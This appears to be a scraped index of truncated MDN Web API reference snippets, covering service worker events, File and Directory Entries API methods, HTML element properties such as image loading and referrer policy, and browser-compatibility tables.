the lasteventid read-only property of the extendablemessageevent interface represents, in server-sent events, the last event id of the event source. this is an empty string. syntax var mylasteventid = extendablemessageevent.lasteventid; value a domstring. examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. ...
...messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.lasteventid); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.lasteventid' in that specification. working draft initial definition. ...
FederatedCredential - Web APIs
ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
FederatedCredential.provider - Web APIs
ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
FetchEvent() - Web APIs
this is always fetch for fetch events. init optional an object conforming to the fetcheventinit dictionary, containing options to apply to the event object. options are as follows: clientid read only the client that the current service worker is controlling. isreload read only a boolean that signifies whether the page was reloaded or not when the event was dispatched. true if yes, and false if not. ...
...ies whether the page was reloaded or not when the event was dispatched. true if yes, and false if not. typically, pressing the refresh button in a browser is a reload, while clicking a link and pressing the back button is not. if not present, it defaults to false. preloadresponse read only a promise which returns a previously-loaded response to the client. replacesclientid read only a domstring which identifies the client which is being replaced by resultingclientid. resultingclientid read only a domstring containing the new clientid if the client changes as a result of the page load. request read only the request object that would have triggered the event handler. specifications specification status comment service workersthe definition of ...
FetchEvent.navigationPreload - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support nowebview android full support 59chrome android full support 59firefox android ? ...
Cross-global fetch usage - Web APIs
h() the url passed to fetch needs to be relative the problem in the past we would resolve the relative url against the current global, for example: let absolute = new url(relative, window.location.href) this is not a problem as such. it is just that different apis that exhibit this kind of behavior were doing it inconsistently with the behavior defined in the spec, which could lead to problems further down the line. the solution in firefox 60 onwards, mozilla resolves the relative url against the global that owns the fetch() function being used (see bug 1432272). so in the case described above, it is resolved against the iframe's location: let absolute = new url(relative, frame.contentwindow.location.href) there is a lot of discussion in progress about getting new specs to align wi...
... ...
File.lastModifiedDate - Web APIs
s[i].name + " has a last modified date of " + files[i].lastmodifieddate); } reduced time precision to offer protection against timing attacks and fingerprinting, the precision of somefile.lastmodifieddate.gettime() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 somefile.lastmodifieddate.gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled somefile.lastmodifieddate.gettime(); // 1519129853500 // 1519129858900 // 1519129864400 // ... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100...
... specifications though present in early draft of the file api spec, this property has been removed from it and is now non-standard. ...
File.webkitRelativePath - Web APIs
al w3c or whatwg specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 18prefixed full support 18prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 49opera android no support nosafari ios full support 11.3samsung internet android full support 1.0prefixed full support 1.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support no support no supportrequires a vendor prefix or dif...
FileEntrySync - Web APIs
having been deleted. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross...
FileReaderSync.readAsArrayBuffer() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
FileSystem.root - Web APIs
Web › API › FileSystem › root
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera android full support 14safari ios full support 11.3samsung internet android full support 1.0legend full support full support no support no support ...
FileSystemDirectoryEntry.createReader() - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
FileSystemDirectoryEntry.getDirectory() - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
FileSystemDirectoryEntry.getFile() - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
FileSystemDirectoryEntry.removeRecursively() - Web APIs
e removing the directory */ }); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new...
FileSystemEntry.filesystem - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
FileSystemEntry.fullPath - Web APIs
al w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
FileSystemEntry.getMetadata() - Web APIs
); } }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expe...
FileSystemEntry.getParent() - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
FileSystemEntry.name - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
FileSystemEntry.remove() - Web APIs
fully */ }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expe...
FileSystemFileEntry.createWriter() - Web APIs
al w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.deprecated. not for use in...
FileSystemFileEntry.file() - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no support ...
FileSystemFlags.create - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ed implemented with the vendor prefix: webkitfirefox android partial support 50notes partial support 50notes notes for security reasons, firefox does not support creating files. ...
FileSystemFlags.exclusive - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ed implemented with the vendor prefix: webkitfirefox android partial support 50notes partial support 50notes notes for security reasons, firefox does not support creating files. ...
File and Directory Entries API support in Firefox - Web APIs
doned back in 2012, but by that point, google chrome included its own implementation of the api. over time, a number of popular sites and web applications came to use it, often without providing any means of falling back to standard apis or even checking to be sure the api is available before using it. mozilla instead opted to implement other apis which can be used to solve many of the same problems, such as indexeddb; see the blog post why no filesystem api in firefox? for more insights. this has caused a number of popular web sites not to work properly on browsers other than chrome. because of that, an attempt was made to create a spec offering the features of google's api which consensus could be reached on. the result was the file and directory entries api. this subset of the api provid...
... include code similar to the following: var filesystemdirectoryentry = window.filesystemdirectoryentry || window.directoryentry; var filesystementry = window.filesystementry || window.entry; limitations in firefox next, let's look at limitations of the firefox implementation of the api. in broad strokes, those limitations can be summarized as follows: content scripts can't create file systems or initiate access to a file system. there are only two ways to get access to file system entries at this time: the <input> element, using the htmlinputelement.webkitentries property to access an array of filesystementry objects describing file system entries you can then read. using drag and drop by calling the datatransferitem.getasentry() method, which lets you get a filesystemfileent...
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 44safari ? webview android no support nochrome android full support 57firefox android ? opera android full support 43safari ios ? ...
FontFaceSetLoadEvent.fontfaces - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 22safari ? webview android no support nochrome android full support 35firefox android full support yesopera android full support 22safari ios ? ...
Using the Frame Timing API - Web APIs
frame timing data about the browser's event loop. a frame represents the amount of work a browser does in one event loop iteration such as processing dom events, resizing, scrolling, rendering, css animations, etc. a frame rate of 60 fps (frames per second) for a 60 hz refresh rate is a common target for a good responsive user experience. this means the browser should process a frame in about 16.7ms. an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of each frame event. this data can be used to help identify areas that take too long to provide a good user experience. this document describes how to use the performanceframetiming interfaces including example code. for an overview of these interfaces see fr...
...e activity such as event handling, layout, painting, scripting, etc. firefox's performance tool also includes a frame rate graph which provides timestamps for each frame including the average frame rate and the minimum and maximum rates (for a specific recording session). this data, along with the waterfall data, gives an indication of where a site might be having frame related performance problems (for example, by correlating the recording's minimum rates with their respective waterfall events). the performance tool's flame chart and call tree tabs provide data to help analyze the site's javascript usage. the call tree shows where the application is spending most of its time, whereas the flame chart shows the state of the javascript stack for the code at every millisecond during the perfo...
Frame Timing API - Web APIs
rame timing data about the browser's event loop. a frame represents the amount of work a browser does in one event loop iteration such as processing dom events, resizing, scrolling, rendering, css animations, etc. a frame rate of 60 fps (frames per second) for a 60 hz refresh rate is a common target for a good responsive user experience. this means the browser should process a frame in about 16.7 ms. an application can register a performanceobserver for "frame" performance entry types. the observer (callback) will be notified when new "frame" events are added to the browser's performance timeline and the frame's duration (length of time) will be available. this data can be used to help identify areas that take too long to provide a good user experience. example code of the interfaces descr...
...manceentry.entrytype set to "frame". performanceentry.name set to the document's address. performanceentry.starttime set to the domhighrestimestamp when the frame was started. performanceentry.duration set to a timestamp indicating the difference between the starttimes of two successive frames. this data, particularly the duration timestamp, can be used to help identify performance problems. frame observers the performance observer interfaces allow an application to register an observer for specific performance event types. when one of those event types is recorded in the browser's performance timeline, the application is notified of the event via the observer's callback function that was specified when the observer was created. to observe "frame" performance entry types, the ap...
GlobalEventHandlers.onanimationcancel - Web APIs
nd forth between the two corners until stopped or the page is closed. javascript before we get to the animation code, we define a function which logs information to a box on the user's screen. we'll use this to show information about the events we receive. note the use of animationevent.animationname and animationevent.elapsedtime to get information about the event which occurred. ...
...efore we get to the animation code, we define a function which logs information to a box on the user's screen. we'll use this to show information about the events we receive. note the use of animationevent.animationname and animationevent.elapsedtime to get information about the event which occurred. function log(msg, event) { let logbox = document.getelementbyid("log"); logbox.innerhtml += msg; if (event) { logbox.innerhtml += " <code>"+ event.animationname + "</code> at time " + event.elapsedtime.tofixed(2) + " seconds."; } logbox.innerhtml += "\n"; }; then we set up the handlecancelevent() function, which is called in response to the animationcancel event, as set up in the html above. all we do here is log information to the console, but you might find ...
GlobalEventHandlers.onanimationend - Web APIs
some javascript code to do that. we'll get to that shortly. javascript content before we get to the animation code, we define a function which logs information to a box on the user's screen. we'll use this to show information about the events we receive. note the use of animationevent.animationname and animationevent.elapsedtime to get information about the event which occurred. ...
...efore we get to the animation code, we define a function which logs information to a box on the user's screen. we'll use this to show information about the events we receive. note the use of animationevent.animationname and animationevent.elapsedtime to get information about the event which occurred. ...
HTMLAnchorElement.referrerPolicy - Web APIs
referrerpolicy property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 11.1webview android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios no support nosamsung internet android full support 7.2legend full support full support no support no support ...
HTMLAreaElement.referrerPolicy - Web APIs
referrerpolicy property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 11.1webview android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios no support nosamsung internet android full support 7.2legend full support full support no support no support ...
HTMLBaseFontElement - Web APIs
ular htmlelement interface it also has available to it by inheritance) for manipulating <basefont> elements. the <basefont> element has been deprecated in html4 and removed in html5. this latest specification requires that this element implements htmlunknownelement rather than htmlbasefontelement. properties inherits properties from its parent, htmlelement. htmlbasefontelement.color is a domstring representing the text color using either a named color or a color specified in the hexadecimal #rrggbb format. htmlbasefontelement.face is a domstring representing a list of one or more font names. the document text in the default style is rendered in the first font face that the client's browser supports. if no font listed is installed on the local system, the browser typically defaults t...
...numeric values range from 1 to 7 with 1 being the smallest and 3 the default. relative value starts with a '+' or a '-'. methods no specific method; inherits methods from its parent, htmlelement. ...
HTMLCanvasElement.mozGetAsFile() - Web APIs
the default type is image/png. for other options, see our image file type and format guide. ...
...the default type is image/png. for other options, see our image file type and format guide. ...
HTMLCanvasElement.toDataURL() - Web APIs
solution of 96 dpi. if the height or width of the canvas is 0 or larger than the maximum canvas size, the string "data:," is returned. if the requested type is not image/png, but the returned value starts with data:image/png, then the requested type is not supported. chrome also supports the image/webp type. ...
... exceptions securityerror the canvas's bitmap is not origin clean; at least some of its contents have or may have been loaded from a site other than the one from which the document itself was loaded. ...
HTMLDataElement.value - Web APIs
specifications specification status comment html living standardthe definition of 'htmldataelement.value' in that specification. ...
... specifications specification status comment html living standardthe definition of 'htmldataelement.value' in that specification. ...
HTMLElement.offsetParent - Web APIs
ion. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 3webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support ...
HTMLElement.offsetTop - Web APIs
on. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 3webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support in compliance with the specification, this property will return null on webkit if the element is hidden (the style.display of this element or any ancestor is "none") or if the style.position of the element itself is...
HTMLFieldSetElement - Web APIs
implemented by the browser. htmlfieldsetelement.formread only an htmlformcontrolscollection or htmlcollection referencing the containing form element, if this element is in a form. if the field set is not a descendant of a form element, then the attribute can be the id of any form element in the same document it is related to, or the null value if none matches. ...
...then the attribute can be the id of any form element in the same document it is related to, or the null value if none matches. htmlfieldsetelement.name a domstring reflecting the name html attribute, containing the name of the field set. this can be used when accessing the field set in javascript. it is not part of the data which is sent to the server. htmlfieldsetelement.typeread only the domstring "fieldset". htmlfieldsetelement.validationmessage a domstring representing a localized message that describes the validation constraints that the element does not satisfy (if any). this is the empty string if the element is not a candidate for constraint validation (willvalidate is false), or it satisfies its constraints. htmlfieldsetelement.validity a validitystate representing the vali...
HTMLFormControlsCollection.namedItem() - Web APIs
name or id match the specified name, or null if no node matches. note that this version of nameditem() hides the one inherited from htmlcollection. like that one, in javascript, using the array bracket syntax with a string, like collection["value"] is equivalent to collection.nameditem("value"). ...
...ue"] is equivalent to collection.nameditem("value"). syntax var item = collection.nameditem(str); var item = collection[str]; parameters str is a domstring return value item is a radionodelist , element, or null. example html <form> <input id="my-form-control" type="textarea"> </form> javascript // returns the htmlinputelement representing #my-form-control elem1 = document.forms[0]['my-form-control']; specifications specification status comment html living standardthe definition of 'htmlformcontrolscollection.nameditem()' in that specification. living standard html5the definition of 'htmlformcontrolscollection' in that specification. recommendation in this snapshot of html living standard, the htmlformcontrolscollections ...
HTMLFormElement.elements - Web APIs
d in the <form> element. independently, you can obtain just the number of form controls using the length property. you can access a particular form control in the returned collection by using either an index or the element's name or id. prior to html 5, the returned object was an htmlcollection, on which htmlformcontrolscollection is based. note: similarly, you can get a list of all of the forms contained within a given document using the document's forms property. syntax nodelist = htmlformelement.elements value an htmlformcontrolscollection containing all non-image controls in the form. this is a live collection; if form controls are added to or removed from the form, this collection will update to reflect the change. the form controls in the returned collection are in the same ...
...ncluded by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms. example quick syntax example in this example, we see how to obtain the list of form controls as well as how to access its members by index and by name or id. <form id="my-form"> <input type="text" name="username"> <input type="text" name="full-name"> <input type="password" name="password"> </form> var inputs = document.getelementbyid("my-form").elements; var inputbyindex = inputs[0]; ...
HTMLHRElement - Web APIs
ll="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlhrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. ...
...e" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlhrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlhrelement.align is a domstring, an enumerated attribute indicating alignment of the rule with respect to the surrounding context. htmlhrelement.color is a domstring representing the name of the color of the rule. htmlhrelement.noshade is a boolean that sets the rule to have no shading. htmlhrelement.size is a domstring representing the height of the rule. htmlhrelement.width is a domstring representing the width of the rule on the page. methods no specific method; inherits methods from its parent, htmlelement. specifications ...
HTMLHyperlinkElementUtils.search - Web APIs
the htmlhyperlinkelementutils.search property is a search string, also called a query string, that is usvstring containing a '?' followed by the parameters of the url. modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring. ...
...make it easy to parse out the parameters from the querystring. syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.search' in that specification. living standard initial definition. ...
HTMLIFrameElement.allowPaymentRequest - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetallowpaymentrequest experimentalchrome full support 60disabled full support 60disabled disabled from version 60: this feature is behind the #web-payments preference (needs to be set to enabled). to change preferences in chrome, visit chrome://flags.edge full support ...
...ort 61disabled disabled from version 61: this feature is behind the #web-payments preference (needs to be set to enabled). to change preferences in chrome, visit chrome://flags.firefox android full support yesopera android no support nosafari ios ? samsung internet android no support nolegend full support full support no support no support compatibility unknown compatibility unknownexperimental. ex...
HTMLIFrameElement.csp - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
HTMLIFrameElement.referrerPolicy - Web APIs
. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 11.1webview android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios no support nosamsung internet android full support 5.0legend full support full support no support no support ...
HTMLIFrameElement.src - Web APIs
n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 6webview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.currentSrc - Web APIs
n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support 32 — 52disabled disabled from version 32 until version 52 (exclusive): this feature is behind the dom.image.srcset.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 10.3samsung internet android full support 5.0legend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.user must explicit...
HTMLImageElement.isMap - Web APIs
n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLImageElement.loading - Web APIs
ells the browser how to handle loading images which are currently outside the window's visual viewport. this helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than immediately during the initial page load. syntax let imageloadscheduling = htmlimageelement.loading; htmlimageelement.loading = eagerorlazy; value a domstring providing a hint to the user agent as to how to best schedule the loading of the image to optimize page performance. the possible values are: eager the default behavior, eager tells the browser to load the image as soon as the <img> element is processed. lazy tells the user agent to hold off on loading the image until the browser estimates that it will be needed imminently. for instanc...
... attributes. by establishing the intrinsic aspect ratio in this manner, you prevent elements from shifting around while the document loads, which can be disconcerting or offputting at best and can cause users to click the wrong thing at worst, depending on the exact timing of the deferred loads and reflows. example the addimagetolist() function shown below adds a photo thumbnail to a list of items, using lazy-loading to avoid loading the image from the network until it's actually needed. function addimagetolist(url) { const list = document.queryselector("div.photo-list"); let newitem = document.createelement("div"); newitem.classname = "photo-item"; let newimg = document.createelement("img"); newimg.loading = "lazy"; newimg.width = 320; newimg.height = 240; newimg.src = ...
HTMLImageElement.naturalHeight - Web APIs
n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLImageElement.naturalWidth - Web APIs
n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLImageElement.sizes - Web APIs
n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...38 no support 33 — 52disabled disabled from version 33 until version 52 (exclusive): this feature is behind the dom.image.picture.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios no support nosamsung internet android full support 5.0legend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.user must explicit...
HTMLImageElement.src - Web APIs
n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.useMap - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLInputElement.webkitEntries - Web APIs
al w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
HTMLMediaElement.controlsList - Web APIs
solution outline browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ull support 45safari ? webview android full support 58chrome android full support 58firefox android ? ...
HTMLMediaElement.onencrypted - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yesie ? opera full support yessafari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend full support full support compatibility unknown compatibility unknown ...
HTMLMediaElement.onwaitingforkey - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ull support 42safari ? webview android full support 55chrome android full support 55firefox android ? ...
HTMLMediaElement.setMediaKeys() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yesie ? opera full support yessafari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend full support full support compatibility unknown compatibility unknown ...
HTMLOListElement - Web APIs
properties inherits properties from its parent, htmlelement. htmlolistelement.reversed is a boolean value reflecting the reversed and defining if the numbering is descending, that is its value is true, or ascending (false). htmlolistelement.start is a long value reflecting the start and defining the value of the first number of the first element of the list. htmlolistelement.type is a domstring value reflecting the type and defining the kind of marker to be used to display. it can have the following values: '1' meaning that decimal numbers are used: 1, 2, 3, 4, 5, … 'a' meaning that the lowercase latin alphabet is used: a, b, c, d, e, … 'a' meaning that the uppercase latin alphabet is used: a, b, c, d, e, … 'i' meaning that the lowercase latin numerals are used: i,...
...this property reflects the compact attribute only, it doesn't consider the line-height css property used for that behavior in modern pages. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlolistelement' in that specification. living st...
Option() - Web APIs
the value attribute of the equivalent <option>. if this is not specified, the value of text is used as the value, e.g. for the associated <select> element's value when the form is submitted to the server. ...
...the value attribute of the equivalent <option>. if this is not specified, the value of text is used as the value, e.g. for the associated <select> element's value when the form is submitted to the server. ...
HTMLOptionElement - Web APIs
<select> element, if the option is a descendant of a <select> element, or null if none is found. htmloptionelement.index read only is a long representing the position of the option within the list of options it belongs to, in tree-order. if the option is not part of a list of options, like when it is part of the <datalist> element, the value is 0. htmloptionelement.label read only is a domstring that reflects the value of the label html attribute, which provides a label for the option. if this attribute isn't specifically set, reading it returns the element's text content. htmloptionelement.selected is a boolean that indicates whether the option is currently selected. htmloptionelement.text is a domstring that contains the text content of the element. htmloptionelement.value ...
...hat reflects the value of the label html attribute, which provides a label for the option. if this attribute isn't specifically set, reading it returns the element's text content. htmloptionelement.selected is a boolean that indicates whether the option is currently selected. htmloptionelement.text is a domstring that contains the text content of the element. htmloptionelement.value is a domstring that reflects the value of the value html attribute, if it exists; otherwise reflects value of the node.textcontent property. methods inherits methods from its parent, htmlelement. option() is a constructor creating an htmloptionelement object. it has four values: the text to display, text, the value associated, value, the value of defaultselected, and the value of selected. the last ...
HTMLParamElement - Web APIs
"#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlparamelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. ...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlparamelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlparamelement.name is a domstring representing the name of the parameter. it reflects the name attribute. htmlparamelement.value is a domstring representing the value associated to the parameter. it reflects the value attribute. htmlparamelement.type is a domstring containing the type of the parameter when valuetype has the "ref" value. it reflects the type attribute. htmlparamelement.valuetype is a domstring containing the type of the value. it reflects the valuetype attribute and has one of the values: "data", "ref", or "o...
HTMLSelectElement.namedItem() - Web APIs
ent.nameditem() method returns the htmloptionelement corresponding to the htmloptionelement whose name or id match the specified name, or null if no option matches. in javascript, using the array bracket syntax with a string, like selectelt["value"] is equivalent to selectelt.nameditem("value"). ...
